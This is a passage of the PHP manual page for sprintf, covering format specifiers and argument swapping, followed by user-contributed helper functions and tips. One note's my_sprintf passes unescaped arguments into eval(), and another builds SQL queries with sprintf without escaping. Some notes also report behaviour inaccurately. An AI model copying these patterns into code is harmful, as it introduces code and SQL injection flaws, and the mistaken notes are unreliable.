    • X - the argument is treated as an integer and presented as a hexadecimal number (with uppercase letters).

The format string supports argument numbering/swapping. Here is an example:

Example #1 Argument swapping

<?php
$num = 5;
$location = 'tree';

$format = 'There are %d monkeys in the %s';
printf($format, $num, $location);
?>
This will output "There are 5 monkeys in the tree". But imagine we are creating a format string in a separate file, commonly because we would like to internationalize it and we rewrite it as:

Example #2 Argument swapping

<?php
$format = 'The %s contains %d monkeys';
printf($format, $num, $location);
?>
We now have a problem. The order of the placeholders in the format string does not match the order of the arguments in the code. We would like to leave the code as is and simply indicate in the format string which arguments the placeholders refer to. We would write the format string like this instead:

Example #3 Argument swapping

<?php
$format = 'The %2$s contains %1$d monkeys';
printf($format, $num, $location);
?>
An added benefit here is that you can repeat the placeholders without adding more arguments in the code. For example:

Example #4 Argument swapping

<?php
$format = 'The %2$s contains %1$d monkeys.
           That\'s a nice %2$s full of %1$d monkeys.';
printf($format, $num, $location);
?>
When using argument swapping, the n$ position specifier must come immediately after the percent sign (%), before any other specifiers, as shown in the example below.

Example #5 Position specifier with other specifiers

<?php
$format= 'The %2$s contains %1$04d monkeys';
printf($format, $num, $location);
?>

The above example will output:

The tree contains 0005 monkeys

args

...

Return Values

Returns a string produced according to the formatting string format.

Changelog

Version | Description
4.0.6 | Support for argument numbering/swapping was added

Examples

Example #6 printf(): various examples

<?php
$n =  43951789;
$u = -43951789;
$c = 65; // ASCII 65 is 'A'

// notice the double %%, this prints a literal '%' character
printf("%%b = '%b'\n", $n); // binary representation
printf("%%c = '%c'\n", $c); // print the ascii character, same as chr() function
printf("%%d = '%d'\n", $n); // standard integer representation
printf("%%e = '%e'\n", $n); // scientific notation
printf("%%u = '%u'\n", $n); // unsigned integer representation of a positive integer
printf("%%u = '%u'\n", $u); // unsigned integer representation of a negative integer
printf("%%f = '%f'\n", $n); // floating point representation
printf("%%o = '%o'\n", $n); // octal representation
printf("%%s = '%s'\n", $n); // string representation
printf("%%x = '%x'\n", $n); // hexadecimal representation (lower-case)
printf("%%X = '%X'\n", $n); // hexadecimal representation (upper-case)

printf("%%+d = '%+d'\n", $n); // sign specifier on a positive integer
printf("%%+d = '%+d'\n", $u); // sign specifier on a negative integer
?>

The above example will output:

%b = '10100111101010011010101101'
%c = 'A'
%d = '43951789'
%e = '4.39518e+7'
%u = '43951789'
%u = '4251015507'
%f = '43951789.000000'
%o = '247523255'
%s = '43951789'
%x = '29ea6ad'
%X = '29EA6AD'
%+d = '+43951789'
%+d = '-43951789'

Example #7 printf(): string specifiers

<?php
$s = 'monkey';
$t = 'many monkeys';

printf("[%s]\n",      $s); // standard string output
printf("[%10s]\n",    $s); // right-justification with spaces
printf("[%-10s]\n",   $s); // left-justification with spaces
printf("[%010s]\n",   $s); // zero-padding works on strings too
printf("[%'#10s]\n",  $s); // use the custom padding character '#'
printf("[%10.10s]\n", $t); // left-justification but with a cutoff of 10 characters
?>

The above example will output:

[monkey]
[    monkey]
[monkey    ]
[0000monkey]
[####monkey]
[many monke]

Example #8 sprintf(): zero-padded integers

<?php
$isodate = sprintf("%04d-%02d-%02d", $year, $month, $day);
?>

Example #9 sprintf(): formatting currency

<?php
$money1 = 68.75;
$money2 = 54.35;
$money = $money1 + $money2;
// echo $money will output "123.1";
$formatted = sprintf("%01.2f", $money);
// echo $formatted will output "123.10"
?>

Example #10 sprintf(): scientific notation

<?php
$number = 362525200;

echo sprintf("%.3e", $number); // outputs 3.625e+8
?>

See Also

  • printf() - Output a formatted string
  • sscanf() - Parses input from a string according to a format
  • fscanf() - Parses input from a file according to a format
  • vsprintf() - Return a formatted string
  • number_format() - Format a number with grouped thousands

User Contributed Notes

krzysiek dot 333 at gmail dot com - zryty dot hekko dot pl 20-Aug-2011 12:48
Encoding and decoding IP adress to format: 1A2B3C4D (mysql column: char(8) )

<?php
function encode_ip($dotquad_ip)
{
    $ip_sep = explode('.', $dotquad_ip);
    return sprintf('%02x%02x%02x%02x', $ip_sep[0], $ip_sep[1], $ip_sep[2], $ip_sep[3]);
}

function decode_ip($int_ip)
{
    $hexipbang = explode('.', chunk_split($int_ip, 2, '.'));
    return hexdec($hexipbang[0]). '.' . hexdec($hexipbang[1]) . '.' . hexdec($hexipbang[2]) . '.' . hexdec($hexipbang[3]);
}
?>
timo dot frenay at gmail dot com 02-May-2011 05:38
Here is how to print a floating point number with 16 significant digits regardless of magnitude:

<?php
    $result = sprintf(sprintf('%%.%dF', max(15 - floor(log10($value)), 0)), $value);
?>

This works more reliably than doing something like sprintf('%.15F', $value) as the latter may cut off significant digits for very small numbers, or prints bogus digits (meaning extra digits beyond what can reliably be represented in a floating point number) for very large numbers.
andrejsstepanovs at gmail dot com 21-Apr-2011 07:13
Use this function to ignore warning "Too few arguments".

<?php
/**
 * Ignores php E_WARNING "sprintf(): Too few arguments".
 * If parameters is too fiew, then this function add extra empty parameter and try again.
 * Working in recursion.
 *
 * @param string $template
 * @param mixed $parameters
 * @return string
 */
function my_sprintf($template, $parameters){
   if(!function_exists('handleError')){//initialize new error handler function
      function handleError($errno, $errstr, $errfile, $errline, array $errcontext){
         throw new ErrorException($errstr, 0, $errno, $errfile, $errline);
      }
      set_error_handler('handleError');
   }

   if(!is_array($parameters)){//manage parameters to allow string
      $parameters = array($parameters);
   }

   try{//trying to execute function. if warning is received, then add parameter
      eval('$return = sprintf($template, "'.implode('","', $parameters).'");');
      return $return;
   }catch(ErrorException $e){
      array_push($parameters, null);
      return my_sprintf($template, $parameters);
   }
}
?>
carmageddon at gmail dot com 02-Feb-2011 06:38
If you want to convert a decimal (integer) number into constant length binary number in lets say 9 bits, use this:

$binary = sprintf('%08b', $number );

for example:
<?php
$bin = sprintf('%08b',511 );
echo $bin."\n";
?>

would output 111111111
And 2 would output 00000010

I know the leading zeros are useful to me, perhaps they are to someone else too.
dwieeb at gmail dot com 01-Sep-2010 11:54
If you use the default padding specifier (a space) and then print it to HTML, you will notice that HTML does not display the multiple spaces correctly. This is because any sequence of white-space is treated as a single space.

To overcome this, I wrote a simple function that replaces all the spaces in the string returned by sprintf() with the character entity reference "&nbsp;" to achieve non-breaking space in strings returned by sprintf()

<?php
//Here is the function:
function sprintf_nbsp() {
   $args = func_get_args();
   return str_replace(' ', '&nbsp;', vsprintf(array_shift($args), array_values($args)));
}

//Usage (exactly like sprintf):
$format = 'The %d monkeys are attacking the [%10s]!';
$str = sprintf_nbsp($format, 15, 'zoo');
echo $str;
?>

The above example will output:
The 15 monkeys are attacking the [       zoo]!

<?php
//The variation that prints the string instead of returning it:
function printf_nbsp() {
   $args = func_get_args();
   echo str_replace(' ', '&nbsp;', vsprintf(array_shift($args), array_values($args)));
}
?>
geertdd at gmail dot com 01-Sep-2010 12:53
Note that when using a sign specifier, the number zero is considered positive and a "+" sign will be prepended to it.

<?php
printf('%+d', 0); // +0
?>
nate at frickenate dot com 13-Nov-2009 11:45
Here's a clean, working version of functions to allow using named arguments instead of numeric ones. ex: instead of sprintf('%1$s', 'Joe');, we can use sprintf('%name$s', array('name' => 'Joe'));. I've provided 2 different versions: the first uses the php-like syntax (ex: %name$s), while the second uses the python syntax (ex: %(name)s).

<?php

/**
 * version of sprintf for cases where named arguments are desired (php syntax)
 *
 * with sprintf: sprintf('second: %2$s ; first: %1$s', '1st', '2nd');
 *
 * with sprintfn: sprintfn('second: %second$s ; first: %first$s', array(
 *  'first' => '1st',
 *  'second'=> '2nd'
 * ));
 *
 * @param string $format sprintf format string, with any number of named arguments
 * @param array $args array of [ 'arg_name' => 'arg value', ... ] replacements to be made
 * @return string|false result of sprintf call, or bool false on error
 */
function sprintfn ($format, array $args = array()) {
    // map of argument names to their corresponding sprintf numeric argument value
    $arg_nums = array_slice(array_flip(array_keys(array(0 => 0) + $args)), 1);

    // find the next named argument. each search starts at the end of the previous replacement.
    for ($pos = 0; preg_match('/(?<=%)([a-zA-Z_]\w*)(?=\$)/', $format, $match, PREG_OFFSET_CAPTURE, $pos);) {
        $arg_pos = $match[0][1];
        $arg_len = strlen($match[0][0]);
        $arg_key = $match[1][0];

        // programmer did not supply a value for the named argument found in the format string
        if (! array_key_exists($arg_key, $arg_nums)) {
            user_error("sprintfn(): Missing argument '${arg_key}'", E_USER_WARNING);
            return false;
        }

        // replace the named argument with the corresponding numeric one
        $format = substr_replace($format, $replace = $arg_nums[$arg_key], $arg_pos, $arg_len);
        $pos = $arg_pos + strlen($replace); // skip to end of replacement for next iteration
    }

    return vsprintf($format, array_values($args));
}

/**
 * version of sprintf for cases where named arguments are desired (python syntax)
 *
 * with sprintf: sprintf('second: %2$s ; first: %1$s', '1st', '2nd');
 *
 * with sprintfn: sprintfn('second: %(second)s ; first: %(first)s', array(
 *  'first' => '1st',
 *  'second'=> '2nd'
 * ));
 *
 * @param string $format sprintf format string, with any number of named arguments
 * @param array $args array of [ 'arg_name' => 'arg value', ... ] replacements to be made
 * @return string|false result of sprintf call, or bool false on error
 */
function sprintfn ($format, array $args = array()) {
    // map of argument names to their corresponding sprintf numeric argument value
    $arg_nums = array_slice(array_flip(array_keys(array(0 => 0) + $args)), 1);

    // find the next named argument. each search starts at the end of the previous replacement.
    for ($pos = 0; preg_match('/(?<=%)\(([a-zA-Z_]\w*)\)/', $format, $match, PREG_OFFSET_CAPTURE, $pos);) {
        $arg_pos = $match[0][1];
        $arg_len = strlen($match[0][0]);
        $arg_key = $match[1][0];

        // programmer did not supply a value for the named argument found in the format string
        if (! array_key_exists($arg_key, $arg_nums)) {
            user_error("sprintfn(): Missing argument '${arg_key}'", E_USER_WARNING);
            return false;
        }

        // replace the named argument with the corresponding numeric one
        $format = substr_replace($format, $replace = $arg_nums[$arg_key] . '$', $arg_pos, $arg_len);
        $pos = $arg_pos + strlen($replace); // skip to end of replacement for next iteration
    }

    return vsprintf($format, array_values($args));
}

?>
Astone 15-Sep-2009 11:41
When you're using Google translator, you have to 'escape' the 'conversion specifications' by putting <span class="notranslate"></span> around them.

Like this:

<?php

function getGoogleTranslation($sString, $bEscapeParams = true)
{
    // "escape" sprintf paramerters
    if ($bEscapeParams)
    {
        $sPatern = '/(?:%%|%(?:[0-9]+\$)?[+-]?(?:[ 0]|\'.)?-?[0-9]*(?:\.[0-9]+)?[bcdeufFosxX])/';
        $sEscapeString = '<span class="notranslate">$0</span>';
        $sString = preg_replace($sPatern, $sEscapeString, $sString);
    }

    // Compose data array (English to Dutch)
    $aData = array(
        'v'            => '1.0',
        'q'            => $sString,
        'langpair'    => 'en|nl',
    );

    // Initialize connection
    $rService = curl_init();

    // Connection settings
    curl_setopt($rService, CURLOPT_URL, 'http://ajax.googleapis.com/ajax/services/language/translate');
    curl_setopt($rService, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($rService, CURLOPT_POSTFIELDS, $aData);

    // Execute request
    $sResponse = curl_exec($rService);

    // Close connection
    curl_close($rService);

    // Extract text from JSON response
    $oResponse = json_decode($sResponse);
    if (isset($oResponse->responseData->translatedText))
    {
        $sTranslation = $oResponse->responseData->translatedText;
    }
    else
    {
        // If some error occured, use the original string
        $sTranslation = $sString;
    }

    // Replace "notranslate" tags
    if ($bEscapeParams)
    {
        $sEscapePatern = '/<span class="notranslate">([^<]*)<\/span>/';
        $sTranslation = preg_replace($sEscapePatern, '$1', $sTranslation);
    }

    // Return result
    return $sTranslation;
}

?>

Thanks to MelTraX for defining the RegExp!
Jay Gilford 25-Aug-2009 05:13
I created this function a while back to save on having to combine mysql_real_escape_string onto all the params passed into a sprintf. it works literally the same as the sprintf other than that it doesn't require you to escape your inputs. Hope its of some use to people

<?php
function mressf()
{
    $args = func_get_args();
    if (count($args) < 2)
        return false;
    $query = array_shift($args);
    $args = array_map('mysql_real_escape_string', $args);
    array_unshift($args, $query);
    $query = call_user_func_array('sprintf', $args);
    return $query;
}
?>

Regards
Jay
Jaygilford.com
jfgrissom at gmail dot com 11-Jul-2009 09:51
I had a nightmare trying to find the two's complement of a 32 bit number.

I got this from http://www.webmasterworld.com/forum88/13334.htm (credit where credit is due... =P  )

Quote: ...find out the 2's complement of any number, which is -(pow(2, n) - N) where n is the number of bits and N is the number for which to find out its 2's complement.

This worked magic for me... previously I was trying to use

sprintf ("%b",$32BitDecimal);
But it always returned 10000000000000000000000 when the $32BitDecimal value got above 2,000,000,000.

This -(pow(2, n) - N)
Worked remarkably well and was very accurate.

Hope this helps someone fighting with two's complement in PHP.
John Walker 09-Jul-2009 05:56
To add to other notes below about floating point problems, I noted that %f and %F will apparently output a maximum precision of 6 as a default so you have to specify 1.15f (eg) if you need more.

In my case, the input (from MySQL) was a string with 15 digits of precision that was displayed with 6. Likely what happens is that the rounding occurs in the conversion to a float before it is displayed. Displaying it as 1.15f (or in my case, %s) shows the correct number.
viktor at textalk dot com 18-Feb-2009 08:16
A more complete and working version of mb_sprintf and mb_vsprintf. It should work with any "ASCII preserving" encoding such as UTF-8 and all the ISO-8859 charsets. It handles sign, padding, alignment, width and precision. Argument swapping is not handled.

<?php
if (!function_exists('mb_sprintf')) {
  function mb_sprintf($format) {
      $argv = func_get_args() ;
      array_shift($argv) ;
      return mb_vsprintf($format, $argv) ;
  }
}
if (!function_exists('mb_vsprintf')) {
  /**
   * Works with all encodings in format and arguments.
   * Supported: Sign, padding, alignment, width and precision.
   * Not supported: Argument swapping.
   */
  function mb_vsprintf($format, $argv, $encoding=null) {
      if (is_null($encoding))
          $encoding = mb_internal_encoding();

      // Use UTF-8 in the format so we can use the u flag in preg_split
      $format = mb_convert_encoding($format, 'UTF-8', $encoding);

      $newformat = ""; // build a new format in UTF-8
      $newargv = array(); // unhandled args in unchanged encoding

      while ($format !== "") {

        // Split the format in two parts: $pre and $post by the first %-directive
        // We get also the matched groups
        list ($pre, $sign, $filler, $align, $size, $precision, $type, $post) =
            preg_split("!\%(\+?)('.|[0 ]|)(-?)([1-9][0-9]*|)(\.[1-9][0-9]*|)([%a-zA-Z])!u",
                       $format, 2, PREG_SPLIT_DELIM_CAPTURE) ;

        $newformat .= mb_convert_encoding($pre, $encoding, 'UTF-8');

        if ($type == '') {
          // didn't match. do nothing. this is the last iteration.
        }
        elseif ($type == '%') {
          // an escaped %
          $newformat .= '%%';
        }
        elseif ($type == 's') {
          $arg = array_shift($argv);
          $arg = mb_convert_encoding($arg, 'UTF-8', $encoding);
          $padding_pre = '';
          $padding_post = '';

          // truncate $arg
          if ($precision !== '') {
            $precision = intval(substr($precision,1));
            if ($precision > 0 && mb_strlen($arg,$encoding) > $precision)
              $arg = mb_substr($precision,0,$precision,$encoding);
          }

          // define padding
          if ($size > 0) {
            $arglen = mb_strlen($arg, $encoding);
            if ($arglen < $size) {
              if($filler==='')
                  $filler = ' ';
              if ($align == '-')
                  $padding_post = str_repeat($filler, $size - $arglen);
              else
                  $padding_pre = str_repeat($filler, $size - $arglen);
            }
          }

          // escape % and pass it forward
          $newformat .= $padding_pre . str_replace('%', '%%', $arg) . $padding_post;
        }
        else {
          // another type, pass forward
          $newformat .= "%$sign$filler$align$size$precision$type";
          $newargv[] = array_shift($argv);
        }
        $format = strval($post);
      }
      // Convert new format back from UTF-8 to the original encoding
      $newformat = mb_convert_encoding($newformat, $encoding, 'UTF-8');
      return vsprintf($newformat, $newargv);
  }
}
?>
splogamurugan at gmail dot com 06-Feb-2009 05:59
$format = 'There are %1$d monkeys in the %s and %s ';
printf($format, 100, 'Chennai', 'Bangalore');

Expecting to output
"There are 100 monkeys in the Chennai and bangalore"

But, this will output
"There are 100 monkeys in the 100 and Chennai"

Because, the second and Third specifiers takes 1rst and 2nd arguments. Because it is not assigned with any arguments.
remy dot damour at -please-no-spam-laposte dot net 15-Jan-2009 11:15
With printf() and sprintf() functions, escape character is not backslash '\' but rather '%'.

Ie. to print '%' character you need to escape it with itself:
<?php
printf('%%%s%%', 'koko'); #output: '%koko%'
?>
MelTraX 05-Nov-2008 01:40
<?php
  // parses a string meant for printf and returns an array of found parameters (or NULL if it contains syntax errors)
  function parsePrintfParameters($string) {
    $valid = '/^(?:%%|%(?:[0-9]+\$)?[+-]?(?:[ 0]|\'.)?-?[0-9]*(?:\.[0-9]+)?[bcdeufFosxX])/';
    $originalString = $string;

    $result = array();
    while(strlen($string)) {
      if(!$string = preg_replace('/^[^%]*/', '', $string))
        break;

      if(preg_match($valid, $string, $matches)) {
        $result[] = $matches[0];
        $string = substr($string, strlen($matches[0]));
      } else {
        error(sprintf('"%s" has an error near "%s".', $originalString, $string));
        return NULL;
      }
    }
    return $result;
  }
?>
savannah at seznam dot cz 12-Oct-2008 04:29
If you have problems using utf-8 with string paddings, you can use this function:

<?php
/**
 * Formats string using sprintf, but correctly handles %s  with space paddings
 *
 * uses conversion to iso-8859-2 and back
 *
 * it is, however, much slower, so use only when needed!
 *
 * @param string $format
 */
function utf_8_sprintf ($format) {
  $args = func_get_args();

  for ($i = 1; $i < count($args); $i++) {
    $args [$i] = iconv('UTF-8', 'ISO-8859-2', $args [$i]);
  }

  return iconv('ISO-8859-2', 'UTF-8', call_user_func_array('sprintf', $args));
}

// test

echo sprintf ("[%-20s]\n", 'escrzyaie'); //  how it should look without special chars
echo sprintf ("[%-20s]\n", 'Ä›Å¡ÄÅ™Å¾Ã½Ã¡ÃÃ©'); // not correctly handled by php
echo utf_8_sprintf ("[%-20s]\n", 'Ä›Å¡ÄÅ™Å¾Ã½Ã¡ÃÃ©'); // using above function

/*
produces:
[escrzyaie           ]
[Ä›Å¡ÄÅ™Å¾Ã½Ã¡ÃÃ©  ]
[Ä›Å¡ÄÅ™Å¾Ã½Ã¡ÃÃ©           ]
*/

?>
the trick is to convert arguments to iso8859-2 and result back to utf-8.
php at mikeboers dot com 01-Oct-2008 01:42
And continuing on the same theme of a key-based sprintf...

I'm roughly (I can see a couple cases where it comes out wierd) copying the syntax of Python's string formatting with a dictionary. The improvement over the several past attempts is that this one still respects all of the formating options, as you can see in my example.

And the error handling is really crappy (just an echo). I just threw this together so do with it what you will. =]

<?php

function sprintf_array($string, $array)
{
    $keys    = array_keys($array);
    $keysmap = array_flip($keys);
    $values  = array_values($array);

    while (preg_match('/%\(([a-zA-Z0-9_ -]+)\)/', $string, $m))
    {
        if (!isset($keysmap[$m[1]]))
        {
            echo "No key $m[1]\n";
            return false;
        }

        $string = str_replace($m[0], '%' . ($keysmap[$m[1]] + 1) . '$', $string);
    }

    array_unshift($values, $string);
    var_dump($values);
    return call_user_func_array('sprintf', $values);
}

echo sprintf_array('4 digit padded number: %(num)04d ', array('num' => 42));

?>

Cheers!
ant at loadtrax dot com 18-Jun-2008 02:19
Rounding seems a little inconsistent, so beware:

$ php -a

php> print round(1.0*20*1.175/100,2);
0.24
php > print sprintf("%.2f",1.0*20*1.175/100);
0.23
php > print sprintf("%.0f",1.0*20*1.175);
24

I get round this by doing the round first, then doing the sprintf.
jaimthorn at yahoo dot com 11-Jun-2008 07:01
I needed a piece of code similar to the one Matt posted below, on the 10th of March, 2008.  However, I wasn't completely satisfied with Matt's code (sorry, Matt!  No offense intended!), because

1) I don't like to initialize variables when it's not really needed, and
2) it contains two bugs.

What are the bugs?

First, Matt's code tests for count($vars) > 0, but if $var == "Hello world!", then count($var) == 1, but the foreach() will crash because $var has to be an array.  So instead, my code tests for is_array($var).

Second, if a key in $vars is a prefix of any of the later keys in the array (like 'object' is the beginning of 'objective') then the str_replace messes things up.  This is no big deal if your keys are hard-coded and you can make sure the keys don't interfere, but in my code the keys are variable.  So I decided to first sort the array on a decreasing length of the key.

<?php

function cmp($a, $b)
{
    return strlen($b) - strlen($a);
}

function sprintf2($str, $vars, $char = '%')
{
    if(is_array($vars))
    {
        uksort($vars, "cmp");

        foreach($vars as $k => $v)
        {
            $str = str_replace($char . $k, $v, $str);
        }
    }

    return $str;
}

echo sprintf2( 'Hello %your_name, my name is %my_name! I am %my_age, how old are you? I like %object and I want to %objective_in_life!'
             , array( 'your_name'         => 'Matt'
                    , 'my_name'           => 'Jim'
                    , 'my_age'            => 'old'
                    , 'object'            => 'women'
                    , 'objective_in_life' => 'write code'
                    )
             );

?>

If possible, and if you're willing, you can also embed the key fields in the text between percent-signs, rather than prefixing the keys with one.  Sorting is no longer necessary, and the execution time is less than half of the code above:

<?php

function sprintf3($str, $vars, $char = '%')
{
    $tmp = array();
    foreach($vars as $k => $v)
    {
        $tmp[$char . $k . $char] = $v;
    }
    return str_replace(array_keys($tmp), array_values($tmp), $str);
}

echo sprintf3( 'Hello %your_name%, my name is %my_name%! I am %my_age%, how old are you? I like %object% and I want to %objective_in_life%!'
             , array( 'your_name'         => 'Matt'
                    , 'my_name'           => 'Jim'
                    , 'my_age'            => 'old'
                    , 'object'            => 'women'
                    , 'objective_in_life' => 'write code'
                    )
             );
?>

If you're willing to embed the keys in the text, you may also be willing to embed the keys themselves in percent signs, thus shaving off another 30% of the execution time:

<?php

function sprintf4($str, $vars)
{
    return str_replace(array_keys($vars), array_values($vars), $str);
}

echo sprintf4( 'Hello %your_name%, my name is %my_name%! I am %my_age%, how old are you? I like %object% and I want to %objective_in_life%!'
             , array( '%your_name%'         => 'Matt'
                    , '%my_name%'           => 'Jim'
                    , '%my_age%'            => 'old'
                    , '%object%'            => 'women'
                    , '%objective_in_life%' => 'write code'
                    )
             );
?>

Of course, by now the sprintf function is no longer something you'd want to write to mum and dad about...
ranema at ubuntu dot polarhome dot com 30-Mar-2008 07:40
It's very comfortible for long Sql queries:

<?php
$_gQuery = "UPDATE `x` SET `a` = %i AND `b` = '%s' WHERE `my` = '%s';"; // ........

mysql_query( sprintf( $_gQuery, 10, 'a', 'rrrr' ) );
?>

But if you have a short query, then it would be much faster to append your data by using `.`.

<?php
$_gQuery = 'SELECT COUNT(*) FROM `' . $_gName . '`;';
?>
matt 10-Mar-2008 09:13
Was looking for a assoc way of using sprintf but couldnt find one, probably wasnt looking hard enough so came up with this. Very very simple indeed...

<?php

function sprintf2($str='', $vars=array(), $char='%')
{
    if (!$str) return '';
    if (count($vars) > 0)
    {
        foreach ($vars as $k => $v)
        {
            $str = str_replace($char . $k, $v, $str);
        }
    }

    return $str;
}

echo sprintf2('Hello %your_name my name is %my_name! I am %my_age, how old are you? I like %object!', array(
    'your_name' => 'Ben',
    'my_name' => 'Matt',
    'my_age' => '21',
    'object' => 'food'
));

// Hello Ben my name is Matt! I am 21, how old are you? I like food!

?>

Looks nice anyway :)
andyhaslam at hotmail dot com 05-Feb-2008 09:46
An interesting bug, if you do the following:

$val = 2345.35;
$val = sprintf("%01.2f", $val);
echo $val;

Output is "2.00", instead of "2345.35". The solution is to use an intermediate variable:

$val = 2345.35;
$val2 = sprintf("%01.2f", $val);
$val = $val2;
echo $val;
scott dot gardner at mac dot com 10-Jan-2008 01:22
In the last example of Example#6, there is an error regarding the output.

printf("[%10.10s]\n", $t); // left-justification but with a cutoff of 10 characters

This outputs right-justified.

In order to output left-justified:

printf("[%-10.10s]\n", $t);
me at umarfarooq dot net 06-Sep-2007 11:29
/**
This function returns a formated  string with the legnth you specify
@string holds the string which you want to format
@len holds the length you want to format
**/
function formatString($string, $len)
{
    if (strlen($string) < $len)
    {
        $addchar=($len - strlen($string)) ;
        for ($i = 0; $i < $addchar; $i++)
        {
            $string=sprintf("$string%s", "0");
        }
    }

    if (strlen($string) > $len)
    {
        $string=substr($string,0,$len);
    }

    return $string;
}
Thomas Breuss 11-May-2007 12:03
Note:
If you want to use % in sprintf, you have to "quote" it like %%.

Example:
echo sprintf("Green => %d%%'", 50);

Output:
Green => 50%
eagle at electric-force dot net 27-Mar-2007 11:25
Display an binary string like an Hex Editor.

<?php
function BinToHexView($binstr) {
    $HexView = "";

    $binpos = 0;
    $binsize = strlen($binstr);
    $binr = ( ($binsize-$binpos-16) > 16 ? 16 : $binsize-$binpos-16 );

    while ($binr > 0) {
        $hline = "";
        $dline = "";
        $HexView .= sprintf("%04x", $binpos);
        for ($c=0;$c<$binr;$c++) {
            $hline .= sprintf("%02x",ord($binstr[$binpos+$c]))." ";
        }
        for ($c=0;$c<$binr;$c++) {
            $ord = ord($binstr[$binpos+$c]);
            $dline .= ( $ord<32 || $ord>126 ? "." : $binstr[$binpos+$c] );
        }
        $HexView .= sprintf("  %-48s  %-16s\n", $hline, $dline);
        $binpos += $binr;
        $binr = ( ($binsize-$binpos-16) > 16 ? 16 : $binsize-$binpos-16 );
    }

    return $HexView;
}
?>
29-Jan-2007 10:15
In response to juan at ecogomera dot com:

I think what you want is:

$x = 3327
$y=decbin($x);
echo $y."<br>";
$z = sprintf("%012d", $x);
echo $z;

3327
110011111111
000000003327

Right? You were double-converting the number. First to binary, then again to decimal. You should be converting the source number directly into the required base.
SWestrup 09-Nov-2006 11:46
In response to Anonymous, who claimed that:

  printf("[%s]\n", str_pad('Hello', 20));

and

  printf("[%-20s]\n", 'Hello');

are the same thing: you've missed the point.

They're only the same when the amount of padding is a known constant. When its a variable (or an expression), its often much more convenient to be able to write:

  printf("[%-*s]\n", 3*$n+2, "Hello");

than what you have to go through now, which is either:

  $t = 3*$n+2;
  printf("[%-{$t}s]\n","Hello");

or

  printf("[%s]\n", str_pad('Hello', 3*$n+2));
Anonymous 16-Oct-2006 04:04
In response to Fredrik Rambris in the com top domain:

<?php

//Your code:

printf("[%s]\n", str_pad('Hello', 20));

//Is the same as:

printf("[%-20s]\n", 'Hello');

?>
Fredrik Rambris in the com top domain 28-Sep-2006 02:48
The C implementation of printf (alteast in glibc) can handle field length as arguments like this:

printf("[%-*s]\n", (int)20, "Hello");

To have the same result in PHP you need to run

printf("[%s]\n, str_pad("Hello", 20) );

It would be nice if one could use the field length directly like in C.
Moore (at) Hs-Furtwangen (dot) De 12-Aug-2006 11:54
Here a litle function that might come handy one time:
It gives back a String and adds a <BR> (you can change it to <br />) to every line end. And it adds $num blanks to the front of the next line.

<?php
 function nl2brnl($text, $num)
  {
   return preg_replace("/\\r\\n|\\n|\\r/", sprintf("% -".(5+$num)."s","<BR>\\n"), $text);
  }

$a = " one\\n two\\r\\n three";

$b = nl2brnl($a, 2);

var_dump($b);

/* output will be:
string(30) " one<BR>
   two<BR>
   three"
*/

echo "  <P>\\n   ";
echo $b

/* output will be:
  <P>
   one<BR>
   two<BR>
   three
*/
?>
Is helpfull for avouding code_soup.
bknakkerNO at SPAMgmail dot com 10-Aug-2006 02:54
Note that in PHP5 (.1.4 for me) sprintf will not use the __toString function of an object.

<?php
class pr{
private $l;
public function __construct($l)
{
$this->l=$l;
}
public function __toString()
{
return $this->l;
}
}
echo new pr('This works!!'); //This will display 'This works!!'
echo sprintf(new pr('This doesnt')); // will display 'Object'
?>

Be careful with that!
Ulf Wostner 06-Aug-2006 10:35
<?php
#-----------------------------------------------------
# Viewing Two's Complement using sprintf formatting.
#-----------------------------------------------------
# Systems using Two's Complements have exactly one number that equals its own Two's Complement.
# On a 32-bit system look at  1000 0000 0000 0000  for  -2147483648
# Take the one's complement, to get 0111 1111 1111 1111, add 1
# to get the Two's Complement: 1000 0000 0000 0000
#  We are back to the original number, the so-called Weird Number for 32-bits.

# For a 64-bit system, format that number as binary, width 64, padded with 0's.

printf("%064b\n", -2147483648);

# Output with added spaces:
# 11111111 11111111 11111111 11111111 10000000 00000000 00000000 00000000

# And here is the Two's Complement on a 64-bit system.

printf("%064b\n", +2147483648);

# Output with added spaces:
# 00000000 00000000 00000000 00000000 10000000 00000000 00000000 00000000
# They share those last 32 bits, accounting for the 32-bit Weird Number.

#----------------------------------------------------------
# Is PHP running  32-bit or 64-bit?
#----------------------------------------------------------
# Sure, we can look at the max int, but  The Weird Number  also tells if we are in 32-bit, 64-bit, or ...

function getBitCount() {
  $how_many_bits = 1;  $n = 2;
  while(True) {
    $how_many_bits += 1;   $n *= 2;  # powers of 2
    # matches its own two's complement?
    if( sprintf("%b", $n) == sprintf("%b", -$n)  )
      return 1 + $how_many_bits;
  }
  return;
}
?>
egingell at sisna dot com 26-Apr-2006 01:51
<?
/**
 * [string or int] vprint ( string $format [, mixed $ary [, bool $return]] )
 *
 * Closely mimics the functionality of sprintf(), printf(), vprintf(), and vsprintf().
 *
 * Replaces %[bcdeufFosxX] with each element of $ary
 *     See http://us3.php.net/manual/en/function.sprintf.php for details on replacement types.
 *
 * If there are not enough elements in $ary (or it is left out) to satisfy $format,
 *     it will be padded to the correct length.
 *
 * Since v*printf() doesn't mind having too many elements in the array, $format will be left alone.
 *
 * If $ary is a string, it will be recast into an array.
 *
 * If $return is set to a value considered to be false (0, '', null, false, and array()),
 *     then the output will be sent to STDOUT and the strlen() of the output string will be returned;
 *     otherwise, the output string will be returned.
 *
 * It's buggy when using the argument swapping functionality, unless you do it propperly.
 *
 * May break when using modifiers (%.4e, %02s, etc), unless you do it propperly.
 **/
function vprint($format, $ary = array(), $return = true) {
    // Sanity?!
    if (!is_array($ary)) $ary = array($ary);

    // Find %n$n.
    preg_match_all('#\\%[\\d]*\\$[bcdeufFosxX]#', $format, $matches);

    // Weed out the dupes and count how many there are.
    $counts = count(array_unique($matches[0]));

    // Count the number of %n's and add it to the number of %n$n's.
    $countf = preg_match_all('#\\%[bcdeufFosxX]#', $format, $matches) + $counts;

    // Count the number of replacements.
    $counta = count($ary);

    if ($countf > $counta) {
        // Pad $ary if there's not enough elements.
        $ary = array_pad($ary, $countf, "&nbsp;");
    }

    if ($return) {
        return vsprintf($format, $ary);
    } else {
        return vprintf($format, $ary);
    }
}

?>
mauf at franzoni dot info 16-Feb-2006 07:21
The format of floating values has been previously reporting as depending on platform (linux / windows) yet I see it changes within two linux systems depending on the version:
In V4.2.2 "%3.2" displays 3 integers and two decimals (i.e. the first digit represents just the number of integer digits), on V4.4.1 the same displays (and justifies the string to) a three character string (i.e. the first digit is the total lenght of the number, including the decimal dot).

Maybe someone may better specify which version this happens from.
darkfalconIV at hotmail dot com 18-Dec-2005 12:57
